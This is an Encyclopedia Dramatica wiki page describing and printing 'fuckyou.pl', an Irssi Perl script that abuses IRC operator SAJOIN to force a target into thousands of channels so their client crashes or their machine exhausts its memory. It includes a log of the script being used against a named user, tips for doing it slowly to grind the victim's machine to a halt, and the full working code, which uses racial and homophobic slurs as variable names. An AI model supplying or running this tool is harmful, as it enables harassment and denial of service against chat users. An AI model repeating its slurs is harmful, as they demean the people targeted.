Fuckyou.pl

From Encyclopedia Dramatica
Jump to navigation Jump to search

A Fuckyou is where your client, by way of the forcejoin/sajoin module available in some IRC daemons, is forced to join several hundred channels. Usually this will crash your IRC client at some absurd amount of channels, like 2000. The primary method of being dealt a fuckyou is by way of the Irssi fuckyou.pl script.

One of the best uses of fuckyou.pl is to grow the amount of channels on an idle Graphical User Interface client slowly as to not flood the victim off until the client allocates all the available ram and swap in a machine, resulting in the user returning to a terminal that has ground itself to a halt.

Fuckyou.pl in action

Essential keyboard modification.
07:59 !bantown.hub *** Notice -- weev used SAJOIN to make etruscan join #LOL_DONGS_bdf4d9efb3179cc6ad46e
07:59 !bantown.hub *** Notice -- weev used SAJOIN to make etruscan join #LOL_DONGS_effbf8d150b38128b2b62
(insert 3000 lines)
07:59 !bantown.hub *** Notice -- weev used SAJOIN to make etruscan join #LOL_DONGS_15158ae015f7d04ba0b3d
07:59 !bantown.hub *** Notice -- weev used SAJOIN to make etruscan join #LOL_DONGS_325dbf466a613ae9f41cd

The codes

use Irssi;
use Irssi::Irc;
use Time::HiRes qw(time);
use Digest::MD5 qw(md5_hex);


#__        ___    ____  _   _ ___ _   _  ____   _   _ ____ ___ _   _  ____ 
#\ \      / / \  |  _ \| \ | |_ _| \ | |/ ___| | | | / ___|_ _| \ | |/ ___|
# \ \ /\ / / _ \ | |_) |  \| || ||  \| | |  _  | | | \___ \| ||  \| | |  _ 
#  \ V  V / ___ \|  _ <| |\  || || |\  | |_| | | |_| |___) | || |\  | |_| |
#   \_/\_/_/   \_\_| \_\_| \_|___|_| \_|\____|  \___/|____/___|_| \_|\____|
#                                                                          
# _____ _   _ _____ ____  _____   ____   ____ ____  ___ ____ _____ ____  
#|_   _| | | | ____/ ___|| ____| / ___| / ___|  _ \|_ _|  _ \_   _/ ___| 
#  | | | |_| |  _| \___ \|  _|   \___ \| |   | |_) || || |_) || | \___ \ 
#  | | |  _  | |___ ___) | |___   ___) | |___|  _ < | ||  __/ | |  ___) |
#  |_| |_| |_|_____|____/|_____| |____/ \____|_| \_\___|_|    |_| |____/ 
#                                                                        
# __  __    _ __   __  ____  _____    _    _     _  __   __
#|  \/  |  / \\ \ / / |  _ \| ____|  / \  | |   | | \ \ / /
#| |\/| | / _ \\ V /  | |_) |  _|   / _ \ | |   | |  \ \// 
#| |  | |/ ___ \| |   |  _ <| |___ / ___ \| |___| |___| |  
#|_|  |_/_/   \_\_|   |_| \_\_____/_/   \_\_____|_____|_|  
#                                                          
# _____ _   _  ____ _  _____ _   _  ____      _    _   _ _   _  _____   __
#|  ___| | | |/ ___| |/ /_ _| \ | |/ ___|    / \  | \ | | \ | |/ _ \ \ / /
#| |_  | | | | |   | ' / | ||  \| | |  _    / _ \ |  \| |  \| | | | \ V / 
#|  _| | |_| | |___| . \ | || |\  | |_| |  / ___ \| |\  | |\  | |_| || |  
#|_|    \___/ \____|_|\_\___|_| \_|\____| /_/   \_\_| \_|_| \_|\___/ |_|  
#                                                                         
#__   _____  _   _ ____    _   _ ____  _____ ____  ____  
#\ \ / / _ \| | | |  _ \  | | | / ___|| ____|  _ \/ ___| 
# \ V / | | | | | | |_) | | | | \___ \|  _| | |_) \___ \ 
#  | || |_| | |_| |  _ <  | |_| |___) | |___|  _ < ___) |
#  |_| \___/ \___/|_| \_\  \___/|____/|_____|_| \_\____/ 
                                                        

use vars qw($VERSION %IRSSI); $VERSION = "2.1";
%IRSSI = (
authors => "Goat-See",
contact => "[email protected]",
name => "fuckyou",
description => "/fuckyou NICK numberchannels",
license => "urmom",
url => "http://www.buttes.org/",
);

my $FORCEPART = "sapart"; # Change these if your ircd is not gay/unreal and uses
my $FORCEJOIN = "sajoin"; # forcejoin and forcepart as the command

my $FURRY = "fuck_you";
sub cmd_fuckyou
{
        my ($data, $server, $dest) = @_;
        my ($nick, $amt_end) = split(/ +/, $data);
        unless($nick && $amt_end)
        {
            Irssi::print("/fuckyou <nick> <amt>");
            return;
        }

        for(1 .. $amt_end)
        {
            my $nig = md5_hex($$ * time * $_);
            $server->command("$FORCEJOIN $nick #${FURRY}_$nig");
        }
}

sub cmd_unfuckyou
{
    my ($data, $server, $channel)= @_;
    return Irssi::print("/unfuckyou user user2 user3") unless $data;
    foreach my $dick (split(" ", $data))
    {
            @niggers=();
            $server->redirect_event(
                "whois", 1, $dick, 0, 
                undef,
                {
                    "event 319" => "redir autowhois_channels",
                    "" => "event empty"
                }
            );
            $server->send_raw("WHOIS :$dick");
    }
}

sub event_whois_channels
{
    my ($server, $data) = @_;
    my ($num, $nick, $channels) = split(/ +/, $data, 3);
    my @niggers = ();
    my $counter=0;

    $channels =~ s/^://;
    $channels =~ s/[ ]{1,}$//;

    @niggers = split(' ', $channels);
    foreach (@niggers)
    {
        s/[@%+]([&#])/$1/;
        if(/[&#](fuck_you|owned_by_penisbird|$FURRY)_[a-f0-9]+/i)
        {
            #Irssi::print("Forceparting $nick from $_");
            $server->send_raw("$FORCEPART $nick $_");
            $counter++;
        }
    }
    Irssi::print("Forceparted $nick from $counter channels") if $counter;
}

Irssi::command_bind('fuckyou', 'cmd_fuckyou');
Irssi::command_bind('unfuckyou', 'cmd_unfuckyou');
Irssi::signal_add(
{
    'redir autowhois_channels'      => \&event_whois_channels,
});

Also available for xchat [1]

See Also

<3

Fuckyou.pl is part of a series on

Troll

Visit the Trolls Portal for complete coverage.

Fuckyou.pl

is part of a series on

IRC

Please visit the IRC PORTAL for more


A-BC-DE-FG-HI-JK-LM-NO-P
Q-RS-TU-VW-XY-Z#

ASCIIAbducted IRCHomocideAnonNetAnonOpsAnthrochatAol.plAustnetAxilaBLACK_MANBanbotBantownbonzi_bBookzBoten AnnaBotnetButtes

Fuckyou.pl is part of a series on

Portal:Softwarez

Visit the Softwarez Portal for complete coverage.